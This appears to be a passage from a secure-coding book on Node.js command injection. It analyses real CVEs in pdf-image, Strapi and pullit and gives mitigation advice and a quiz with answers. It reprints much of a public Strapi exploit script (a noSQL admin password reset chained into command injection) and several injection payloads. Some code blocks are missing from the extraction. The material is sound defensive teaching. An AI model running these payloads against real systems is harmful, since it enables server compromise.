The vulnerability was due to user input not being properly sanitized before being passed to the exec()
function. This allowed an attacker to inject arbitrary commands into the function. A prior security fix
involved replacing the exec() function with execFile() and passing arguments separately as mitigation.
However, that was not enough and left the package vulnerable.
The use of sanitizer logic such as splitting or completely filtering space or tab control characters isn’t an
effective way to guard against Command Injection or Argument Injection attacks.
It is interesting to note that the overall popularity of the git-promise project has declined since this
vulnerability was reported:
1. In March 2022, this security vulnerability identified as CVE-2022-24376 was publicly disclosed.
3. In May 2022, the package’s GitHub page was updated with a security disclaimer.
4. By March 2023, monthly downloads had dropped to 8,668. This is a steep 84% decrease in the
number of downloads over time.
Not to confuse correlation with causation, but it is interesting to note that the popularity of the git-
promise project has been on the decline since this vulnerability was reported and hopefully helped to
raise awareness of the security risk and deter developers from using the package.
As a final note, this vulnerability highlights the value of responsible security disclosure as well as the
maintainers' proactive involvement in lowering the security risk even when they are unable to publish a
security fix.
The npm package pdf-image, describes itself as a library that provides an interface to convert PDF pages
to PNG files in Node.js using ImageMagick.
It reached peak popularity in 2020 with 430,543 yearly downloads, according to npm-stat.com.
Up to January 2022, it had 1,307,246 downloads. While its use by developers and end-users has
decreased significantly, as of April 2022 it still captured over 20,000 monthly downloads.
There’s a fascinating story that the above downloads graph fails to capture - the rise in usage for this
library in the face of existing publicly known vulnerabilities that impact all known versions of this library.
Following is an annotated chart showing the date in which the vulnerability was publicly disclosed as
CVE-2018-3757:
Despite pdf-image harboring publicly known vulnerabilities, its usage has continued to grow. This raises
concerns, such as:
1. Are developers unaware of which software components and open-source libraries they are using?
2. Are developers and security operations not following security best practices such as integrating
Software Composition Analysis (SCA) tools into their development and Continuous Integration (CI)
processes? These tools help find, alert, and automatically apply fixes to third-party open-source
libraries by suggesting upgrades to fixed versions.
Let’s continue exploring this library’s security aspects. One example of usage is documented on the 'pdf-
image' project page. It shows a web service that converts PDF files on-the-fly, and returns a PNG image:
The above code snippet demonstrates a file path provided to the PDFImage() constructor. This then
allows calling the method pdfImage.convertPage() which returns the post-processed image file.
ImageMagick is a powerful and versatile open-source software suite that allows users to create, edit, and
convert raster and vector images in a variety of formats. It includes a range of command-line tools and a
programming interface that allows developers to integrate image processing capabilities into their
applications using language bindings. It is widely used and highly regarded in the industry, and is
available on a variety of platforms, including Windows, macOS, and GNU/Linux.
The npm package pdf-image relies on ImageMagick but does not use its native programming interface.
Instead, it uses ImageMagick’s command-line tools: convert and pdfinfo commands, to perform its
image processing tasks.
NOTE
Some GNU/Linux distributions and Docker-based container images don’t require explicit
installation of the ImageMagick library because it is already bundled as part of the operating
system dependencies.
The responsible disclosure report pointed out the following source code as vulnerable:
pdf-image/index.js
1 constructGetInfoCommand: function () {
2 return util.format(
3 "pdfinfo \"%s\"",
4 this.pdfFilePath
5 );
6 },
However, why is that code vulnerable? It seems that there’s a genuine attempt, albeit lacking, to protect
against command injection by wrapping the file’s path in quotes. This security control in the form of
input sanitization occurs before a command shell is instantiated and the user’s command is executed
(the library uses child_process.exec).
So, in essence a file path input such as my-salary.pdf; touch /tmp/pwned would be passed as a
string of text to the pdfinfo command as follows:
Exploring further the library’s logic, the constructGetInfoCommand() function call gets called by
numberOfPages(), which is part of the core PDF file conversion logic:
pdf-image/index.js
1 convertFile: function () {
2 var pdfImage = this;
3 return new Promise(function (resolve, reject) {
4 pdfImage.numberOfPages().then(function (totalPages) {
5 var convertPromise = new Promise(function (resolve, reject){
6 var imagePaths = [];
7 for (var i = 0; i < totalPages; i++) {
8 pdfImage.convertPage(i).then(function(imagePath){
9 imagePaths.push(imagePath);
10 if (imagePaths.length === parseInt(totalPages)){
11 imagePaths.sort();
12 resolve(imagePaths);
13 }
14 }).catch(function(error){
15 reject(error);
16 });
17 }
18 });
It is interesting to note that developers sometimes rush to obvious security controls they know of and
completely miss the proper way of mitigating a security vulnerability. As such, we’d have expected that
the convertPage() function here would be sanitized as it indeed calls Node.js API’s exec() as follows:
pdf-image/index.js
pdf-image/index.js
As you can see, an attempt is made to mitigate injection attacks by wrapping the file path in double
quotes.
Here’s the proof-of-concept exploit provided by the original security researcher, N B Sri Harsha:
A string input that is as simple as escaping the stringified shell command using a backslash. Additionally,
the command is closed with the required extra double quotes to ensure validity.
If you run this Node.js command-line program with a vulnerable version of pdf-image you’ll see the file
/tmp/hacked created on disk.
The fix commit is available in this GitHub fork, which has also been raised as a pull request to the
upstream repository. However, it hasn’t been merged and no fixed pdf-image version was published.
Figure 13. The GitHub pull request attempts to fix the pdf-image command injection vulnerability
1. A lack of understanding of how third-party libraries and tools work and integrate can lead to security
vulnerabilities. In this case, the pdf-image package used ImageMagick’s pdfinfo command-line
tool to extract metadata from PDF files.
The pdf-image package relied on the exec() Node.js API to execute the pdfinfo command, which
was vulnerable to command injection attacks.
2. Applying an incorrect security control to mitigate a security risk. The developer of pdf-image
attempted to mitigate the command injection vulnerability by wrapping the file path in double
quotes, in an attempt to avoid the shell from interpreting the file path as a command. However, this
was not sufficient to prevent a security vulnerability. The developer should have used a more robust
approach, such as using the execFile() function instead of exec(). This Node.js API takes an array
of arguments instead of a string. This would have prevented the command injection vulnerability.
Specifically, this learning should be a lesson on why you shouldn’t rely on client-side input validation
or sanitization as the original code in the package attempted.
Strapi is an open-source headless Content Management System (CMS), built on-top of the Node.js
runtime, allowing developers to easily build their content backend APIs so they can connect their own
frontend to drive those.
This open-source project developed well for Strapi, with more than 44.6k stars on GitHub. It has an
active community with daily commits, discussions, and source code contributions.
Why and where would the Strapi project need to resort to executing system processes if it’s a web
application project?
— CVE-2019-19609
This provides more context and clarity as to where the vulnerability manifests. Strapi has a marketplace
of plugins, and to support that it needs to provide back-office administrators with a management
interface to install plugins, configure them and so on.
Let’s look at the source code that makes installing and uninstalling plugins work, which is part of the
strapi-admin package, and located at packages/strapi-admin/controllers/Admin.js:
packages/strapi-admin/controllers/Admin.js
It appears that the plugin variable is a string of text for the name of a plugin. This plugin name is
passed through the function call to execa() which executes an npm script to install it.
The code depicted here dealing with process execution should raise a red flag. It’s generally not a wise
idea to execute system processes from a web application as we’ve already learned in earlier vulnerability
chapters.
Does the security vulnerability lie within execa or elsewhere? More on that mystery as we dive deeper
into exploiting this vulnerability.
Figure 15. Strapi’s arbitrary code injection CVE on Snyk Vulnerabilities Database
Observe the Exploit Maturity in the top right. This hinting that there’s potentially an actual exploit code
that can be easily weaponized against you in a semi-automated, or fully automated fashion. This
database entry also references Exploit DB, is a well-known marketplace for security exploits.
Let’s look at the complete exploit code linked from the above:
#!/usr/bin/env python3
import requests
import json
from cmd import Cmd
import sys
if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()
class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)
def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing
exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")
def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json = params
).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]
if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()
This exploit code, written in Python, chains two vulnerabilities to amplify the attack. The command
injection CVE (CVE-2019-19609) that we’re learning about in this chapter requires administrator-level
access to the plugin management area, but it’s concerning nonetheless, especially if Strapi is hosted in a
shared server environment which means the attacker can execute commands on the host and
potentially access other users' installations.
But to exploit the command injection vulnerability, how do we gain access to Strapi’s plugin
administration interface? The weaponized code exploits an improper access control vulnerability
reported previously via CVE-2019-18818. That vulnerability is caused by using a MongoDB database and
insecure coding conventions that result in noSQL injection.
2. Exploit CVE-2019-18818 through a noSQL injection vulnerability which resets the admin user’s
3. Having admin access, exploit CVE-2019-19609 to gain command injection in the plugins management
web interface and run commands on the host that serves the Strapi web application.
Let’s analyze the payload code that exploits the command injection vulnerability:
This code taken from the exploit program shows how the data variable specifies a JSON data object with
a key of plugin and a value of documentation && $({cmd}) . The nested cmd variable is replaced
with the command to be injected.
The security researcher who reported this vulnerability, shows an example in their write-up, of how that
HTTP POST request would be presented as a JSON payload:
{
"plugin": "documentation && $(whoami > /tmp/whoami)",
"port":"1337"
}
The && character in the payload is a logical AND operation notation in shells. This allows the attacker to
chain multiple commands together. This means that the code on the right-hand side will be executed
only if the code before it returns a successful exit status. In this case, the first command-line argument,
documentation, was a valid plugin name that the Strapi command would install. The second command
line argument, $(whoami > /tmp/whoami) , would be executed only if the first command succeeded.
By exploiting the vulnerability in the plugin name, an attacker could execute any arbitrary shell
command they wanted, including malicious code that could compromise the system running the execa
library.
Now that we understand the vector of attack and specifically the payload that’s being sent to the server,
let’s take a look again at the code that’s vulnerable to this attack:
packages/strapi-admin/controllers/Admin.js
If we were to piece the puzzle together from user input and into the code, we’ll get the following:
This function signature of providing a command and an array of arguments is common to the
recommended secure Node.js API execFile, because it provides a way to separate the command from
its optional arguments and handles each command-line argument in isolation. As such, you’d expect that
the Strapi command-line, denoted as strapi, would treat the user input of documentation &&
$(whoami > /tmp/whoami) as the plugin name, and since that doesn’t actually exist, it would fail. So
then why is this line of code vulnerable to command injection?
It’s easy to test the hypothesis of whether the issue lies within the execa library or elsewhere. Having
installed the npm package, run the following Node.js code in a newly created file called test.js:
Next, create a file called 'documentation'. Its content doesn’t matter, and it can be empty. This ensures
that the ls command to list files in the current directory will run successfully and in turn will trigger the
right-hand side of the && operator, which is the command injection payload.
$ node test.js
As we can see in the execa package source code, it offloads process execution to the spawn function
from Node.js’s child_process API:
execa/index.js
let spawned;
try {
spawned = childProcess.spawn(parsed.cmd, parsed.args, parsed.opts);
The spawn API is a low-level API used to spawn system processes and it allows you to run commands
inside a shell if the shell option is set to true (or to a string, specifying the shell’s program path).
However, the execa package doesn’t set the shell option to true nor does any other shell program.
So, if the issue doesn’t lie with the execa package, where does the vulnerability come from?
This code executes the npm package manager as a command, along with the run command-line
argument. It does this to execute run-scripts which are either life-cycle or other arbitrary scripts defined
in the package.json file, such as:
{
"scripts": {
"start": "node server.js",
"strapi": "strapi",
"hello": "ls"
}
}
The npm run command is a convenient way to run those scripts by their aliases which is what happens
when npm run strapi is invoked. The -- command-line argument instructs the npm package manager
to stop parsing arguments and passing them to the script being invoked. And thus, executing the
command npm run strapi executes strapi install documentation && $(whoami >
/tmp/whoami). In this scenario, and due to the way the npm package manager implemented its support
for run-scripts, it executes them inside a shell, which is why the command injection payload is executed.
NOTE
The npm package manager uses the @npmcli/run-script package to manage the execution of
run-scripts as well as the @npmcli/promise-spawn package to execute system processes. The
lib/make-spawn-args.js
const spawnOpts = {
env: spawnEnv,
cwd: path,
shell: scriptShell,
}
module.exports = makeSpawnArgs
Specifically, the maintainers have chosen to employ regular expression validation before invoking the
install or uninstall plugin actions.
packages/strapi-admin/controllers/Admin.js
1 async installPlugin(ctx) {
2 try {
3 const { plugin } = ctx.request.body;
The regular expression of /^[A-Za-z0-9_-]+$/ limits plugin names to be installed to allow only:
In spite of the fact that this is a valid fix, it wouldn’t be unreasonable to question whether the
maintainers had a clear understanding of why the vulnerability manifested in the first place. Were there
specific reasons they chose to fix the vulnerability in this way rather than invoking the strapi
command-line tool directly?
A more appropriate security fix would have been to forego npm’s run-scripts feature and directly invoke
the strapi command-line tool to install the plugin, such as:
async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;
strapi.log.info(`Installing ${plugin}...`);
await execa('strapi', ['install', plugin]);
This would have prevented the security vulnerability from manifesting in the first place.
This vulnerability was discovered in the strapi-admin package, which manages plugins in the Strapi
marketplace. The impact of this vulnerability would be to allow an attacker to execute arbitrary
commands with the permissions of the user running the Strapi application.
The following are insights developers can gain from this vulnerability:
1. Mindful of system commands in their applications. Ensure that you use secure and preferred system
process APIs such as execFile, over exec and spawn when executing system commands. This is in
cases where shell expansion is not required.
2. Regardless of how you execute system commands, it is important not to invoke npm’s run-scripts
directly with npm run as that will execute the command inside a shell and expose you to
vulnerabilities associated with command injection.
3. Before passing sensitive API calls such as system processes to sensitive API calls, you should treat
user input with care and follow proper sanitization practices when dealing with user input.
4. When chaining multiple exploits together, it is imperative to be aware of the increased attack
surface. It is possible that attackers can gain unauthorized access to the system or damage it
altogether.
5. Understanding how exploits are weaponized and made available in hacker forums and open
marketplaces can help organizations better factor cyber attack risks.
6. Command injection vulnerabilities can have severe consequences from unexpected data sources. In
this case, the user controls the name of their plugin, resulting in a command injection attack. It is
imperative to be diligent in checking for user input across all parts of your application.
In conclusion, Strapi’s vulnerability serves as a reminder to developers that even well-known and well-
established projects can contain security vulnerabilities, and that it is important to adopt secure coding
practices and stay up-to-date with the latest security patches and updates to ensure your applications'
security.
The pullit package on npm, also known as Pull It, is a terminal user interface (TUI) that displays and pulls
remote Git branches of open GitHub pull requests in Github repositories.
This command-line tool allows developers to quickly browse a repository’s open pull requests and select
one by its title to switch your local Git working branch across.
Command line (CLIs) tools are usually not as ubiquitous as application libraries due to their nature of
being less of a hoisted dependency that trickles into an application’s dependency tree. Another notable
information about CLIs is that they are rarely open to Internet-public user interaction like web
applications are, and so they are often ignored as a significant threat. As such, it is common for
developers to wave off such vulnerabilities and deeming any vulnerability associated with CLIs as false
positive.
NOTE
The argument provided by developers or security practitioners who rule out vulnerabilities in
CLIs is most often that if an attacker can provide command line arguments as well as bee able
However, that’s sometimes an understatement as we’ll learn with the case of a command
injection found in the open-source pullit npm package.
Developers being curious creatures, I poked into its source code to learn how it manages its visual
interface. However, I didn’t expect to find a potential command injection flow in the process. The
following is the relevant source code at the time, trimmed down for brevity:
pullit/src/index.js
Perhaps the use of execSync = require('child_process') provides some hint at the risk involved.
Specifically, line 19 in the above source code executes the following Git system commands:
execSync(
`git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`
);
However, how would an external threat actor interact with it? Here is where things get interesting and
educate us on how user input flows into applications, or CLIs in this case, in unexpected ways.
At this point, I wondered what if I could create Git branches with special shell-related characters in them?
Even if I could do that, I’d need to push them to a GitHub repository for them to be used in an attack on
developers. Won’t GitHub filter out these weirdly named Git branches?
Let’s explore an idea for a branch name which, when used as the source for a command execution API
like Node.js’s execSync(), will trigger arbitrary user-controlled system commands:
This input is a fully acceptable and legitimate branch name. In fact, you can run the following command
to demonstrate how to create a Git branch with this name in your local development environment:
When the above command is run as-is, the branch name part, identified by the command-line value
passed to the -b command flag, is properly quoted and treated as a branch name to be created.
However, what happens when the same input is passed into a process execution API such as the
following code?
The result is that a seemingly innocent branch name is now interpreted as a command to be executed
by the shell interpreter.
Why and how does this branch name work for command injection?
• The leading ; character instructs the shell interpreter to terminate the previous command ( git
checkout), and start the next command to be executed.
• The {…} is a special syntax for the shell interpreter referred to as command grouping which defines
a list of commands to be executed. In this case {echo,hello,world} expands into the command
echo hello world .
• The last part of this user input which acts as a malicious payload is >/tmp/c that instructs the shell
program to direct all standard output (> is the notation for stdout) of the command ( echo hello
world) into the file path identified as /tmp/c.
The question at this point becomes - is it really possible to name a Git branch
Figure 17. GitHub UI shows a perfectly valid and legitimate Git branch name with dangerous characters
impacting operating system shell interpreters and may result in command injection.
This is made especially severe due to the GitHub workflow for open-source contributions which
embraces forking projects by third-party contributors who control their branch name. This results in the
risk of tricking innocent users who use the pullit tool to pull their branch and execute arbitrary
commands.
1. Create a branch that could potentially terminate an exec() command and concatenate a new
command: git checkout -b ";{echo,hello,world}>/tmp/c" .
2. Push it to GitHub and create a pull request with this branch name.
4. Confirm the following file has been created /tmp/c with the contents of "hello world".
This was indeed an effective fix against string concatenation in which user input flowed into the overall
command passed to the shell interpreter.
One of the key takeaways from this case is that command-line tools are not immune to security
vulnerabilities, despite being less commonly used than application libraries. In fact, CLIs can be just as
vulnerable as web applications or other types of software, and should be treated as such. Developers
and security practitioners should not immediately ignore vulnerabilities associated with CLIs as false
positives.
We also learned about the dangers of assuming input always comes from expected and trusted sources.
We saw how seemingly innocuous data sources can be exploited to execute harmful commands.
Specifically, we learned that user input may originate from unexpected sources, such as a Git branch
name. In addition, characters like the semicolon (;) can take on a different meaning when flowing into
sensitive system APIs such as command execution. This highlights the importance of implementing
proper input validation and sanitization techniques to prevent potentially harmful commands from
being executed on a system.
Eventually, the pullit vulnerability was caused by the package’s misplaced trust in Git naming
conventions. This naive assumption was abused by an attacker to execute arbitrary commands.
Overall, this chapter highlights the importance of proactive security approaches in software
development. It also highlights the importance of following security best practices such as using
execFile vs exec. This would have helped mitigate this security vulnerability.
Following are curated secure coding best practices for preventing command injection attacks in Node.js
applications. We look at the different ways command injection vulnerabilities can be introduced. We
reflect on the subtleties of incorrectly using child process APIs, and address each attack vector with
practical secure coding advice.
Learnings
By the By the end of this summary chapter, you will be skilled at secure coding practices, perform
secure code reviews and answer questions such as:
• Which Node.js process executing APIs are recommended as safe methods to execute
commands?
• What are the security implications of using the shell option of the child_process APIs?
• When and how should you escape user input to prevent command injection vulnerabilities?
• What are the security implications associated with invoking the npm package manager’s run-
scripts?
The Node.js core module for process execution is child_process. However, some of its APIs, such as
exec, can lead to command injection security vulnerabilities, even when developers attempt to sanitize
user input.
The following properties of the exec function make it an extremely dangerous programming interface
and highly vulnerable to command injection attacks.
When the command to execute is passed as a string, developers often use string concatenation to build
the command. This may lead to command injection vulnerabilities. Even when developers attempt to
apply security controls such as sanitizing user input, they often miss edge cases that can lead to
vulnerabilities.
When the command is executed within a shell it increases the attack surface and creates additional
concerns for developers to produce security controls that mitigate the risks. Running commands within a
shell allows the attacker to use shell features like shell expansion, shell globbing, logical operators and
other capabilities. These features allow them to execute commands by chaining them together with
semicolons.
Considering the above code snippet, what if the value for userInput is echo "; rm -rf /" ? The
As a developer, you might rush to implement sanitization controls to prevent command injection from
taking place. However, there are other ways to abuse commands executed inside a shell. Consider the
following user inputs:
As alternatives to exec(), developers should use safer child_process APIs with a shell environment
disabled: execFile() and spawn().
Both APIs are safe to use due to two key properties - they isolate the command from its arguments and
do not execute commands within a shell.
This means that the command and its command-line arguments are passed as function arguments to
the execFile and spawn APIs instead of a single string that requires string interpolation. This effectively
removes the developer’s burden of sanitizing user input.
NOTE
Since the command is not executed inside a shell, the notion of a shell environment doesn’t exist.
Therefore, there’s no notion of paths available to look up commands. This means that the
command function parameter needs to be specified as the full path to the executable.
This means that shell features such as command substitution, globbing, and logical operators are not
available to an attacker. This makes it harder for an attacker to inject malicious commands as part of the
command as there is no shell to interpret them.
NOTE
Both execFile() and spawn() allow commands within a shell by setting the shell option to
true (or providing the shell program’s file path as a string). However, this is turned off by default
and is an effective security control as such. If these functions are used with the shell option set
to true, the developer must ensure that the command and its arguments are properly escaped.
This is to prevent command injection vulnerabilities.
In summary, consider the following high-level security takeaways when using the child_process
module:
3. Do not use the shell option of the above recommended APIs, unless absolutely necessary and with
4. Minimize environment variables information when using the execFile() and spawn() APIs to
ensure no sensitive information is leaked to system processes.
It is highly discouraged for developers to implement command-line arguments sanitization on their own
or to implement escaping via shell programs. Instead, use well-known, maintained and up-to-date npm
packages that perform commands and command-line arguments escaping for you.
One such package is shell-quote, which provides a function for escaping shell arguments used in Node.js
applications. The shell-quote library supports both Unix-like shells and Windows command prompts,
making it cross-platform. Once installed, you can use the quote() function to escape command
arguments.
For example, let’s say we need to run the git program inside a shell and print the commit log of a user-
specified file name under version control. The following code snippet demonstrates how to do this
securely:
If we didn’t properly escape the branch variable using proper quoting, despite using execFile or spawn,
the attacker could have injected a command that would have been executed by the shell (because we
passed the shell option to these APIs). That attack would have resulted in a new file at /tmp/hacked.
When does escaping become necessary and to which API calls should it be applied? The following table
summarizes the escaping requirements for the child_process APIs:
So far we have discussed how to use safe child_process APIs to execute system processes. We have
also discussed the importance of escaping user input when programs execute within shells. However,
there is an additional attack vector that can be abused even when using a safe API such as execFile()
without running the program inside a shell and that is Argument Injection.
Argument injection is a security vulnerability that occurs when untrusted user input is passed as an
argument to a command-line program or a system call without proper validation or sanitization.
Attackers can take advantage of this vulnerability to pivot the original command from its intended
behavior to a different one altogether. This can potentially result in arbitrary commands being executed
on an affected system. Potential risk can result in anything from unauthorized access to sensitive data,
or a denial of service by crashing the system.
Consider the following example which demonstrates how to fetch a remote branch from a Git repository
with the user controls the remote branch name:
In the above example, the remote parameter is passed as an argument to the git program without
validation or sanitization. While generally, this wouldn’t be an issue because the execFile() API here
doesn’t run the program inside a shell. However, an attacker could still abuse this vulnerability by using
Git’s own command-line arguments to instruct it to execute a command of their choice. For example, the
attacker could pass the following values as the remote and branch name parameters and cause the git
program to execute the touch command:
curl http://example.com \
-X POST \
-H "Content-Type: application/json" \
-d '{"remote": "--upload-pack=/bin/touch", "branch": "/tmp/hacked"}'
Following are best practices to mitigate the above-mentioned risks of argument injection:
Developers should validate user input that flows into a command argument with a schema to ensure it
conforms to expected values and types. For example, if a command argument should only contain
alphanumeric characters, developers should validate the input to ensure that it doesn’t contain any
special characters or control characters that could be used for injection attacks. Another example would
be to validate the expected format. For example, if an input is intended to be a URL, developers should
validate that it conforms to that along with the allowed protocol scheme.
Developers should use an allow-list of known, safe command arguments to prevent injection attacks. By
using an allow-list, developers can limit the potential impact of an injection attack by only accepting a
predefined set of values.
function gitCheckout(branchName) {
const allowedBranches = ["main", "master"];
if (!allowedBranches.includes(branchName)) {
throw new Error("Invalid branch name");
}
execFile("git",
["checkout", branchName], (error, stdout, stderr) => {});
}
In the above code example, the branchName command-line argument is validated against an allow-list of
known, deemed-safe branch names by the developer.
Use the special shell '--' argument to separate the command from its arguments
Following is an example of how to use the double-dash separator to separate the command from its
arguments:
function decompressArchive(archiveName) {
execFile('tar',
['-xvf', '--', archiveName], (error, stdout, stderr) => {});
}
1. Limit the execution of commands to only those necessary for application functionality. Do not allow
user input to control the program to be executed. Ensure you use a closed mapping for a set of
commands that are known to be safe.
const allowedCommands = {
'git': '/usr/bin/git',
'ping': '/bin/ping',
};
2. Avoid invocations of npm’s run-scripts to execute programs. Regardless of whether you concatenate
strings or use parameterized commands or arguments, the npm run command should be avoided at
all costs. In the following example, both exec and execFile are vulnerable to command injection
attacks:
Developers should keep their dependencies up to date with the latest security fixes to prevent command
injection class of security vulnerabilities impacting their web applications.
Introduce Software Composition Analysis (SCA) tools to your CI/CD pipeline to automate the process of
identifying vulnerable dependencies and updating them to the latest versions.
Prioritize tools that provide actionable remediation guidance and streamline dependency updating
through highly integrated developer workflows such as:
1. Available as an IDE extension so developers can quickly learn and mitigate vulnerabilities.
When developers fall short of implementing secure coding practices and are unaware of the risks to
application security, a specific type of application security testing can help them identify and remediate
vulnerabilities in their code.
Static application security testing (SAST) tools analyze a program’s source code through call graphs and
can help developers identify command injection vulnerabilities in their code by calling out high-risk
source-to-sink findings.
SAST tools can be integrated into the CI/CD pipeline to automate the scanning code for vulnerabilities
and provide actionable remediation guidance to developers. However, they’re even more effective as
developer security tooling integrated into developer workflows:
1. As IDE extensions, they provide timely feedback to developers and alert them to insecure code as
they write it.
3. Provide developers with just-in-time guidance about insecure code findings and remediation
recommendations.
Developers should review a dependency’s source code to learn the overall design and trade-offs
practiced by the maintainer. Preferably, this due diligence should be performed before adding a
dependency to your project.
While this is not an easily applied tactic for a project’s entire dependency tree, developers should
prioritize the dependencies used for critical areas of the application.
A vulnerability fix for open-source software is not guaranteed to be available, nor is it guaranteed to be
available in a timely manner. Having contingency plans in place to mitigate the impact of unpatched
vulnerabilities in open-source packages requires developers to be prepared for unpatched
vulnerabilities.
TIP
If you are using this book to train others, it is highly recommended that you use these sets of
questions to test your audience’s understanding of the concepts presented in the book and how
well they have internalized the material.
To do that, you should use these questions to assess their skill-set before and after training. This
will help you identify areas of improvement and better understand the effectiveness of the
expertise gained by reading and practicing the exercises in this book.
Select the correct answer (some questions may have multiple correct answers), fill in the blanks, and
answer to the best of your knowledge the following questions:
a. Argument Injection
b. Command Injection
2. What are the best practices to prevent command injection vulnerabilities in Node.js?
a. Use a secure API that provides a safe way to execute shell commands, such as
child_process.execFile
d. It allows an attacker to inject arbitrary shell commands and execute them on the server
4. Fill the blanks in the following paragraph (multiple words may apply):
d. Encode shell meta characters in user input before passing them to child_process.exec
a. Using a proxy server to modify input before it reaches the Node.js server
8. What is the danger of using user input to construct a command-line string in Node.js?
9. Fill the blanks in the following paragraph (multiple words may apply):
10. Fill the blanks in the following paragraph (multiple words may apply):
[1]
11. Given the following code snippet
@app.route("/blame", methods=["POST"])
def blame():
url = request.form.get("url", "https://github.com/package-url/purl-
spec.git")
what = request.form.getlist("what[]")
with TemporaryDirectory() as local:
if not url.startswith(("https://", "http://")):
return make_response("Invalid url!", 403)
_git("clone", ["--", url, local])
res = []
for i in what:
file, lines = i.split(":")
res.append(_git("blame", ["-L", lines, file], local))
return make_response("\n".join(res), 200)
async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;
strapi.reload.isWatching = false;
strapi.log.info(`Installing ${plugin}...`);
await execa('npm', ['run', 'strapi', '--', 'install', plugin]);
strapi.reload();
} catch (err) {
strapi.log.error(err);
strapi.reload.isWatching = true;
ctx.badRequest(null, [{ messages: [{ id: 'An error occurred' }] }]);
}
},
'use strict';
const express = require('express');
const { execFile } = require('child_process');
res.send(stdout);
});
});
app.listen(3000, () => {
console.log('Server running on port 3000');
console.log('Try: curl http://localhost:3000/git-log?filename=README.md
')
});
const callback = [
optionsOrCallback,
callbackMaybe,
defaultCallback,
].find(isFunction);
const options = [
optionsOrCallback,
callbackMaybe,
defaultOptions,
].find(isObject);
send(mail, done) {
// Sendmail strips this header line by itself
mail.message.keepBcc = true;
if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] :
[]).concat(envelope.to);
}
try {
sendmail = spawn(this.path, args);
}
};
a. Yes
b. No
a. Yes
b. No
19. Using parameterized command-line arguments API is a good way to prevent command injection, but
is not enough. Correct?
a. Yes
b. No
20. The following code snippet is a safe and secure way to execute shell commands with user input
passed as arguments array spawn(command, args, { shell: true }) :
a. Yes
b. No
1. a) to c)
2. a) to d)
3. d)
a. 'not sanitized'
b. 'input validation'
c. 'shelljs'
d. 'exec'
5. b) and c)
6. b) and d)
7. c)
8. d)
a. 'inject'
c. 'input validation'
e. 'child_process'
a. No
a. No
a. Yes
a. No
Questions 11 to 16 are questions that are more suitable for group discussion.
These vulnerabilities are provided as real-world examples and can be used to better understand and
convey the impact of command injection vulnerabilities to your stakeholders, security, and development
teams. You are encouraged to use these examples to communicate and engage your organization in
application security. In particular, the importance of preventing command injection vulnerabilities.
1. Review the provided source code examples and discuss command injection vulnerability risks with
your team.
2. Developers can engage in an exercise to identify potential issues with the libraries below. This is a
way to engage and educate your team about application security. Are they asking the right
questions? Are they looking in the right places? Are they using the appropriate tools? Are they
practicing secure coding techniques? Are they employing a defensive programming mindset?
3. Create trivia-like questions that show a code snippet and test their understanding of insecure coding
conventions.
4. Create trivia-like questions to test your team’s knowledge of command injection vulnerabilities. For
example, "What is the most common way to prevent command injection vulnerabilities?" or "What is
the most common way to detect command injection vulnerabilities?"
5. Create a game where developers are given a code snippet and asked to identify the vulnerability. For
example, "What is the vulnerability in the following code snippet?"
6. Establish Capture The Flag (CTF) challenges where developers are given a code snippet and asked to
identify the vulnerability. For example, "What is the vulnerability in the following code snippet?"
Can you spot the vulnerability in the following GitHub Actions workflow?
name: app-ci
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Echo issue comment
run: |
echo ${{ github.event.comment.body }}
On January 5th, 2023, Security researcher Karim Rahal disclosed their findings of how a command
injection vulnerability in GitHub Actions could be exploited to execute code. This results in secrets being
leaked.
Rahal’s findings extend to both GitHub’s infrastructure and self-hosted runners that organizations can
use to run their workflows and demonstrate how different usages of GitHub Actions workflows, such as
JavaScript-based runners, are also vulnerable to command injection attacks.
One kind of vulnerable software that isn’t an obvious target for developers is that which runs networking
and security appliances.
These devices are often looked at as opaque hardware machines and to some it may not be immediately
apparent that they are mostly software-based. They range from simple network routers to complex
security appliances, such as firewall endpoints, webcams and printers.
While these devices aren’t top of mind for the general public, they are often an easy and lucrative attack
target for attackers:
1. They are often deployed in enterprise environments which naturally creates an opening for an
internal office network.
2. They are often not kept up-to-date with firmware releases. As a result, they are more susceptible to
security vulnerabilities.
3. These devices aren’t uniquely crafted software, but rather mass-produced and mass-consumed
NOTE
Cybersecurity agencies often issue critical alerts to the public regarding security issues in such
appliances based on the above criteria.
For example, the Cybersecurity & Infrastructure Security Agency (CISA), issued the ICSA-23-110-01
[6]
advisory on April 20, 2023, to alert against a CVSS 10 (critical) vulnerability in the INEA ME RTU
remote terminal unit. You probably never heard of it before but this equipment is used in
industrial control systems such as power plants, water treatment plants, and transportation. The
security vulnerability identified in this device is related to a command injection vulnerability
accessible via the web interface.
[7]
Another example is QNAP’s CVE-2020-2509 which details an XML command injection
vulnerability impacting a Network Attached Storage (NAS) device. Based on Shodan, a search
engine for internet-connected devices, at the time of publishing the CVE it was estimated that this
public-facing appliance was exposed to more than 350,000 unique IP addresses. In response to
the potential impact of this vulnerability being exploited in the wild, CISA included this CVE as
[8]
part of its Known Exploited Vulnerabilities Catalog . It also featured it in its 2021 Top Routinely
[9]
Exploited Vulnerabilities advisory. More on this command injection vulnerability and its
